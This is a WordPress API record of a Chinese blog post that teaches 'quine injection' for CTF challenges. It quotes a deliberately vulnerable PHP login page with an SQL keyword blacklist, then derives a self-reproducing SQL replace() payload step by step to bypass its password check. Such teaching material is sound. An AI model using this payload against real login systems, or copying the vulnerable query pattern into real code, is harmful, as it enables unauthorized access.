{"id":83,"date":"2025-03-12T20:47:50","date_gmt":"2025-03-12T12:47:50","guid":{"rendered":"https:\/\/1nksy.cn\/?p=83"},"modified":"2025-03-12T20:47:51","modified_gmt":"2025-03-12T12:47:51","slug":"quine%e6%b3%a8%e5%85%a5","status":"publish","type":"post","link":"https:\/\/1nksy.cn\/index.php\/2025\/03\/12\/quine%e6%b3%a8%e5%85%a5\/","title":{"rendered":"quine\u6ce8\u5165"},"content":{"rendered":"\n

\u4ec0\u4e48\u662fquine\u6ce8\u5165?<\/h2>\n\n\n\n

quine\u662f\u4e00\u79cd\u8ba1\u7b97\u673a\u7a0b\u5e8f\uff0c\u5b83\u4e0d\u63a5\u53d7\u8f93\u5165\u5e76\u4ea7\u751f\u81ea\u5df1\u6e90\u4ee3\u7801\u7684\u526f\u672c\u4f5c\u4e3a\u552f\u4e00\u7684\u8f93\u51fa\u3002 \u5728ctf\u5e94\u7528\u4e2d\uff0cQuine\u6ce8\u5165\u7684\u76ee\u7684\u5c31\u662f\u4f7f\u5f97\u8f93\u5165\u8f93\u51fa\u4e00\u81f4\uff0c\u7ed5\u8fc7\u9650\u5236\u767b\u5f55<\/p>\n\n\n\n

\u4f8b<\/h2>\n\n\n\n
<?php
  include_once(\"lib.php\");
function alertMes($mes,$url){
  die(\"<script>alert('{$mes}');location.href='{$url}';<\/script>\");
}
\u200b
function checkSql($s) {
  if(preg_match(\"\/regexp|between|in|flag|=|>|<|and|\\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\\\\$|0x|sleep|\\ \/i\",$s)){
    alertMes('hacker', 'index.php');
  }
}
\u200b
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
  $username=$_POST['username'];
  $password=$_POST['password'];
  if ($username !== 'admin') {
    alertMes('only admin can login', 'index.php');
  }
  checkSql($password);
  $sql=\"SELECT password FROM users WHERE username='admin' and password='$password';\";
  $user_result=mysqli_query($con,$sql);
  $row = mysqli_fetch_array($user_result);
  if (!$row) {
    alertMes(\"something wrong\",'index.php');
  }
  if ($row['password'] === $password) {
    die($FLAG);
  } else {
    alertMes(\"wrong password\",'index.php');
  }
}
\u200b
if(isset($_GET['source'])){
  show_source(__FILE__);
  die;
}
  ?>
  <!-- \/?source -->
  <html>
    <body>
      <form action=\"\/index.php\" method=\"post\">
        <input type=\"text\" name=\"username\" placeholder=\"\u8d26\u53f7\"><br\/>
        <input type=\"password\" name=\"password\" placeholder=\"\u5bc6\u7801\"><br\/>
        <input type=\"submit\" \/ value=\"\u767b\u5f55\">
      <\/form>
    <\/body>
  <\/html><\/pre>\n\n\n\n
\u5173\u952e\u5728\u4e8eif ($row[\u2018password\u2019] === $password) ,\u4e5f\u5c31\u662f\u8bf4\uff0c\u6211\u4eec\u67e5\u8be2\u51fa\u6765\u7684\u7ed3\u679c\u8981\u548c\u6211\u4eec\u8f93\u5165\u7684\u5bc6\u7801\u5f3a\u4e00\u81f4\u624d\u80fd\u767b\u5f55\u6210\u529f\u3002\u4e5f\u5c31\u662f\u8981\u7528\u5230quine\u8fd9\u4e2a\u201c\u81ea\u5df1\u751f\u81ea\u5df1\u201d\u7684\u6280\u5de7\u4e86<\/p>\n\n\n\n
\u6784\u9020<\/h2>\n\n\n\n
\u57fa\u7840\u8bed\u53e5<\/p>\n\n\n\n
select replace(\u201c.\u201d,char(46),\u201d.\u201d);<\/code>\u628a”.”\u4e2d\u7684.\u6362\u6210\u4e86.(\u6838\u5fc3\u601d\u8def)<\/p>\n\n\n\n
\u770b\u8fd9\u4e2a\u8bed\u53e5<\/p>\n\n\n\n
select replace('replace(\".\",char(46),\".\")',char(46),'replace(\".\",char(46),\".\")'); #\u67e5\u8be2\u8bed\u53e5
replace(\"replace(\".\",char(46),\".\")\",char(46),\"replace(\".\",char(46),\".\")\"); #\u8f93\u51fa\u8bed\u53e5<\/pre>\n\n\n\n
\"image-20250312202700511\"\/<\/div><\/figure>\n\n\n\n
\u8be5\u67e5\u8be2\u8bed\u53e5\u7684\u8f93\u51fa\u5185\u5bb9\u51e0\u4e4e\u548c\u539f\u67e5\u8be2\u8bed\u53e5\u76f8\u4f3c\uff0c\u4f46\u5f15\u53f7\u5374\u6709\u6240\u4e0d\u540c\uff0c\u539f\u672c\u7684\u5355\u5f15\u53f7\u53d8\u6210\u4e86\u53cc\u5f15\u53f7\uff0c\u4f46\u6211\u4eec\u5374\u4e0d\u80fd\u901a\u8fc7\u628a\u67e5\u8be2\u8bed\u53e5\u7684\u5355\u5f15\u53f7\u53d8\u4e3a\u53cc\u5f15\u53f7\u6765\u907f\u514d\uff0c\u56e0\u4e3areplace(\u201c.\u201d,char(46),\u201d.\u201d)\u5b57\u7b26\u4e32\u4e2d\u6709\u53cc\u5f15\u53f7\uff0c\u6240\u4ee5\u628a\u5b83\u5f53\u4f5c\u5b57\u7b26\u4e32\u5199\u5165replace\u65f6\u8981\u7528\u5355\u5f15\u53f7\uff0c\u4e0d\u7136\u4f1a\u62a5\u9519<\/strong><\/p>\n\n\n\n
\u60f3\u8981\u628a’\u53d8\u4e3a”\uff0c\u5c31\u53ef\u4ee5\u5d4c\u5957\u4e00\u6b21replace\uff0c\u518d\u7528\u4e00\u6b21replace\uff0c\u4f7f’\u53d8\u4e3a”\uff0c\u901a\u8fc7\u6b64\u6765\u6784\u9020<\/p>\n\n\n\n
replace(\".\",char(34),char(39));#\u57fa\u7840\u8bed\u53e5
replace(replace(\".\",char(34),char(39)),char(46),\".\");#\u901a\u8fc7\u8be5\u8bed\u53e5\u8fdb\u884c\u81ea\u6211\u66ff\u6362\uff0c\u4f46\u8f93\u51fa\u4efb\u4e3a.
replace('replace(replace(\".\",char(34),char(39)),char(46),\".\")',char(34),char(39));#\u5c06\u4e4b\u524d\u7684\u8bed\u53e5\u5f53\u505a\u5b57\u7b26\u4e32\uff0c\u4ece\u800c\u6765\u6539\u53d8\u5f15\u53f7<\/pre>\n\n\n\n
\u6700\u7ec8\u8bed\u53e5<\/p>\n\n\n\n
select replace(replace('select replace(replace(\".\",char(34),char(39)),char(46),\".\")',char(34),char(39)),char(46),'select replace(replace(\".\",char(34),char(39)),char(46),\".\")');<\/pre>\n\n\n\n
\u5206\u6790<\/p>\n\n\n\n
#\u8bed\u53e5\u5206\u89e3
select replace(
    replace(
        'select replace(replace(\".\",char(34),char(39)),char(46),\".\")',
        char(34),
        char(39)
    ),
    char(46),
    'select replace(replace(\".\",char(34),char(39)),char(46),\".\")'
);<\/pre>\n\n\n\n
#\u628a\u5355\u5f15\u53f7\u91cc\u9762\u7684\u5185\u5bb9\u5f53\u505a\u5b57\u7b26\u4e32
#\u5916\u5c42\u7684replace\u8bed\u53e5
replace(
        'select replace(replace(\".\",char(34),char(39)),char(46),\".\")',
        char(34),
        char(39)
    )
#\u5c06\u5b57\u7b26\u4e32\u91cc\u9762\u7684\"\u66ff\u6362\u6210'
#\u7ed3\u679c\u4e3aselect replace(replace('.',char(34),char(39)),char(46),'.')<\/pre>\n\n\n\n
#\u6700\u5916\u5c42\u7684replace\u5c31\u53d8\u4e3a
replace(
    'select replace(replace('.',char(34),char(39)),char(46),'.')',
    char(46),
    'select replace(replace(\".\",char(34),char(39)),char(46),\".\")'
)
#\u5c06'select replace(replace('.',char(34),char(39)),char(46),'.')'\u4e2d\u7684.,\u66ff\u6362\u4e3aselect replace(replace(\".\",char(34),char(39)),char(46),\".\")
#\u4ece\u800c\u8bed\u53e5\u5c31\u53d8\u4e3a\u4e86replace(replace('select replace(replace(\".\",char(34),char(39)),char(46),\".\")',char(34),char(39)),char(46),'select replace(replace(\".\",char(34),char(39)),char(46),\".\")');<\/pre>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
\u4ec0\u4e48\u662fquine\u6ce8\u5165? quine\u662f\u4e00\u79cd\u8ba1\u7b97\u673a\u7a0b\u5e8f\uff0c\u5b83\u4e0d\u63a5\u53d7\u8f93\u5165\u5e76\u4ea7\u751f\u81ea\u5df1\u6e90\u4ee3\u7801\u7684\u526f\u672c\u4f5c\u4e3a\u552f\u4e00\u7684\u8f93\u51fa\u3002 \u5728ct […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-83","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/posts\/83","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/comments?post=83"}],"version-history":[{"count":1,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/posts\/83\/revisions"}],"predecessor-version":[{"id":84,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/posts\/83\/revisions\/84"}],"wp:attachment":[{"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/media?parent=83"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/categories?post=83"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/1nksy.cn\/index.php\/wp-json\/wp\/v2\/tags?post=83"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}